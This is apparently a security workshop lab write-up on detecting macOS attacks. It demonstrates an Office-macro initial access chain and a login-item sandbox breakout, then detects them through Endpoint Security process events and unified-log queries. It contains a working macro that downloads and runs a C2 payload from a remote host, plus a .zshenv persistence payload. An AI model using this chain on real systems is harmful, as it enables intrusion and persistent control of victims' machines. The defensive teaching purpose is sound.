Attack Detection Fundamentals 2021: macOS - Lab #1

Following on from the previous workshops we've delivered as part of F-Secure Consulting's Attack Detection Fundamentals series, this workshop is going to delve into a topic far less discussed within the security world - detection on macOS. Over the three labs we have set out for this workshop, we're aiming to develop an initial level of understanding for some of the attacks we see against macOS and most importantly how we can implement appropriate detections. The labs for this workshop are comprised of the following key areas:

  • Initial access via Office Macros (inc. sandbox breakout)
  • Persistence using LaunchAgents
  • TCC bypass

This workshop is not intended to cover all of the impressive macOS attacks we've seen in the wild, but rather to aid in developing macOS detection capability.

A recording of this workshop series can be found here and the slides are available here.

Before we begin this series, it is wise to acknowledge that throughout this workshop we have employed a lot of open source tools to gather the required telemetry. A number of these are not designed to be deployed at scale, but rather to simply demonstrate the telemetry that is available on macOS and that should be gathered by your EDR solution.

So to kick things off let's dive right into our first lab. 

Environment Setup 

The vectors used to achieve a foothold on macOS devices are no different from those of other major operating systems. Phishing is arguably the most effective means of gaining access to a device, with common payload types such as:

  • Installation packages
  • Mobile profile configurations (.profile files)
  • Office macros

During this workshop we will be utilising Cody Thomas's (@its_a_feature_) Mythic post-exploitation framework. Formerly known as Apfell, Mythic has been developed by Cody Thomas and his colleagues at SpecterOps as an excellent red teaming framework that works cross platform. For the purpose of this workshop we will be solely using the framework's Apfell payloads.

Upon following the framework installation guidance provided (https://docs.mythic-c2.net) we are going to begin creating target payloads. Within Mythic select the 'Create Components' tab at the top of the screen and select 'Create Payload'. Next select the macOS operating system and chose the HTTP (apfell, poseidon) payload type. For simplicity within this workshop we will keep the majority of payload values default, however it is important to change the 'Callback Host' to the location of your Apfell server (assuming no redirectors are being used).

workshop1 1

Next we will select the apfell payload and provide a description that will be unique to this initial payload. For the purpose of this workshop we will select all commands to be included within the payload.

Now that we are all set, let's begin using this payload. 

Generating an Office Macro

Now that we have generated an apfell payload we are going to generate a Microsoft Word document that contains a macro designed to download and execute a payload. Firstly, open Microsoft Word and create a new document, then select macros from the 'Tools' dropdown menu:

workshop1 2

To generate the required macro you can use Cedric Owens' (@cedowens) Mythic Macro Generator tool (https://github.com/cedowens/Mythic-Macro-Generator), which generates a fairly simple Macro resembling the following:

Sub AutoOpen()
MacScript("do shell script ""curl http://192.168.54.4:8000/apfell.js -o app.js"" ")
MacScript("do shell script ""chmod +x app.js""")
MacScript("do shell script ""osascript app.js &""")
End Sub

Notice that this macro is downloading the apfell.js payload from a remote location. This is necessary for the apfell.js payload to execute properly. To host this payload remotely, you can use something like a Python web server using 'python -m SimpleHTTPServer <port number>' whilst in a directory containing the payload.

Once you are hosting the payload within an accessible location, add the macro to the word document like so:

workshop1 3

Upon saving this document we are able to send off our first initial access payload. 

Execution

Assuming we are able to coerce our target into opening the macro-enabled document and bypassing Microsoft's security warnings, we can see that a new callback has been detected within Mythic:

workshop1 4

At this point we have gained an initial foothold and we can begin interacting with the compromised system. For example, listing the current directory (In our case, "/Users/calumhall/Library/Containers/com.microsoft.Word/Data") we see our app.js payload:

workshop1 5

However, notice that attempting to perform simple tasks, such as creating a file within the /tmp/ directory, returns an "Operation not permitted" error: 

workshop1 6

This behaviour is a result of Apple's sandboxing capability (https://developer.apple.com/documentation/security/app_sandbox). This security control was introduced to the macOS ecosystem in an attempt to reduce the impact of a given application being compromised. As you might imagine, this situation is not ideal for an attacker, but makes life far easier for defenders!

While the sandbox inevitably makes things harder for attackers, it does not remove the threat entirely, as there are still a number of paths that may be traversed. In this workshop we will utilise Apfell's persist_loginitem_allusers functionality to gain persistence on the device. Login items have been exploited in the past by malware such as OSX.KitM that was designed to take periodic screenshots of compromised devices.

For the purpose of this workshop, we will assume users are running the latest version of macOS, and hence we know that the default shell is zsh. We can use this knowledge to create a login item that distributes a zsh environment profile that will call the "app.js" payload that our malicious macro dropped into the below location:

  • /Users/calumhall/Library/Containers/com.microsoft.Word/Data/app.js

Firstly let's create the .zshenv file on our Mythic server, the contents should include the following where <current user> is the user account we have compromised:

echo “zsh profile error report” > /tmp/~\\$zshprofileerror.txt
nohup /usr/bin/osascript /Users/<current user>/Library/Containers/com.microsoft.Word/Data/app.js &

We must then compress this environment into a zip file:

  • zip -r zshenv.zip .zshenv

A zip file is used, as the macOS device will use its default file-handling functionality to unpack the ".zshenv" file once dropped to disk. We will now use Mythic's upload functionality to upload this zip file to the target device:

workshop1 7

Notice that the remote_path variable has been prepended with "~$" - this is necessary to be able to write files from within the sandboxed environment. We can now trigger the persist_loginitem_allusers function within Mythic:

workshop1 8

Given these commands have worked you will see the following output:

workshop1 9

We can verify this login item has been created on the device by visiting System Preferences → Users & Groups:

workshop1 10

Where you can see the file "loginitem_persist" has been set as a login item.

As we can see on the Mythic server, when the target user logs into their account a new session is returned from target device:

workshop1 11

Most importantly this session is no longer contained within the macOS sandbox, and hence we are far less limited in our capability:

workshop1 12

Detection

For the purpose of detecting these attacks, we are largely going to be relying on two core Apple logging functions: the Unified Log and the Endpoint Security Framework (ESF). Throughout the attack outlined above, there are numerous opportunities for detection, given that this initial lab is focussing on we are going to discuss identifying the following stages:

  • Malicious process trees
  • Sandbox breakout attempts

Malicious Process Trees

To monitor process activity within macOS we can utilise the ESF to gain information about new processes events. Using a tool such as Objective-See's ProcessMonitor we can investigate the process activity that takes place when our malicious document is opened:

> sudo ./ProcessMonitor.app/Contents/MacOS/ProcessMonitor -pretty

[...redacted...]
{ "event": "ES_EVENT_TYPE_NOTIFY_FORK", "process": { "signing info (computed)": { "teamID": "UBF8T346G9", "signatureID": "com.microsoft.Word", "signatureStatus": 0, "signatureSigner": "App Store", "signatureAuthorities": [ "Apple Mac OS Application Signing", "Apple Worldwide Developer Relations Certification Authority", "Apple Root CA" ] }, "uid": 501, "arguments": [], "ppid": 16455, "ancestors": [ 16455, 1 ], "rpid": 16455, "architecture": "unknown", "path": "/Applications/Microsoft Word.app/Contents/MacOS/Microsoft Word", "signing info (reported)": { "teamID": "UBF8T346G9", "csFlags": 570508033, "signingID": "com.microsoft.Word", "platformBinary": 0, "cdHash": "A9DD8BB4E781CD181E47F446E7092BC28C534626" }, "name": "Microsoft Word", "pid": 16463 }, "timestamp": "2021-04-09 10:10:31 +0000" }

The ESF generates an event revealing that Microsoft Word has forked another process, something that does not resemble legitimate application behaviour. This is the key area of detection that we are going to focus on for the purpose of this workshop. However, should we wish to gather more information we can see the full chain of events that occur due to our Office macro from ESF events, such as the execution of our malicious payload:

> sudo ./ProcessMonitor.app/Contents/MacOS/ProcessMonitor -pretty

[...redacted...]
{
  "event": "ES_EVENT_TYPE_NOTIFY_EXEC",
  "process": {
    "signing info (computed)": {
      "signatureID": "com.apple.sh",
      "signatureStatus": 0,
      "signatureSigner": "Apple",
      "signatureAuthorities": [
        "Software Signing",
        "Apple Code Signing Certification Authority",
        "Apple Root CA"
      ]
    },
    "uid": 501,
    "arguments": [
      "sh",
      "-c",
      "osascript app.js &"
    ],
    "ppid": 16455,
    "ancestors": [
      16455,
      1
    ],
    "rpid": 16455,
    "architecture": "unknown",
    "path": "/bin/sh",
    "signing info (reported)": {
      "teamID": "",
      "csFlags": 570522385,
      "signingID": "com.apple.sh",
      "platformBinary": 1,
      "cdHash": "66A2F84953DF3125477BD8498E6767F0F9BCCCE1"
    },
    "name": "sh",
    "pid": 16463
  },
  "timestamp": "2021-04-09 10:10:38 +0000"
}

For detecting malicious process trees we'd definitely recommend checking out Jaron Bradley's tool - TrueTree. This has recently been adapted for Big Sur and now provides some awesome visibility into macOS process trees. For example, with our Apfell payload active, we can observe the osascript process that has spawned from Microsoft Word:

> sudo ./TrueTree-3 

[...redacted...]
/System/Library/LaunchAgents/com.apple.Finder.plist
/System/Library/CoreServices/Finder.app/Contents/MacOS/Finder 408
/Applications/Microsoft Word.app/Contents/MacOS/Microsoft Word 16455
/usr/bin/osascript 16464

Using the ESF we are able to detect the malicious process activity as we have discussed above. Whilst this workshop has used Objective-See's ProcessMonitor to demonstrate this, any EDR solution that utilises the ESF should be able to gather the same telemetry.

Sandbox Breakout Attempt

While potentially difficult to utilise, the unified log contains a wealth of information regarding activity on macOS devices. Here we can see that the unified log has identified a failed event that has been denied due to Apple's sandbox, i.e. our "touch /tmp/test" command.

❯ log stream --predicate 'senderImagePath contains "Sandbox" && eventMessage contains "deny" && messageType == 16'
Filtering the log data using "senderImagePath CONTAINS "Sandbox" AND composedMessage CONTAINS "deny" AND logType == 16" Timestamp Thread Type Activity PID TTL 2021-03-08 20:36:54.692747+0000 0x4fa7e0 Error 0x0 0 0 kernel: (Sandbox) Sandbox: touch(67670) deny(1) file-write-create /private/tmp/test

Whilst this telemetry can be incredibly valuable, it should be noted that this series of predicates are likely to produce some noise from legitimate Apple components. As such is may be required that further predicates are implemented to reduce this noise. For those that haven't worked with them before, predicates are a term given to certain conditions you can enforce to filter through the large quantities of events held within the Unified Logs.

Conclusion

To summarise, from the offensive perspective it's refreshing (or perhaps concerning) to see that Office Macros are still an issue even on Apple devices. We have demonstrated that whilst a hurdle, the Apple sandbox does not impose too much of a challenge for offensive operators, and that it should not be assumed a security control in this instance. 

More importantly however, we've revealed that attacks of this nature can be detected with a reasonable degree of confidence! With the telemetry gathered by the ESF, not only can we detect the initial events that arouse suspicion, but we can also delve further into analysing the behaviour of the malicious payload. It is entirely reasonable to develop these detections further by looking for behaviour such as alerting on certain osascript usage, however it is important to avoid alert fatigue depending on the behaviour of your legitimate users. 

References

Special shoutout to the following researchers whose work has formed the basis of this workshop series:

  • Patrick Wardle
  • Cody Thomas
  • Michael Jack
  • Cedric Owens
  • Csaba Fitzl
  • Jaron Bradley
  • Guillaume Ross
  • Howard Oakley
  • Phil Stokes
  • Madhav Bhatt
  • Adam Chester

And to anyone else that we have inevitably forgotten to mention.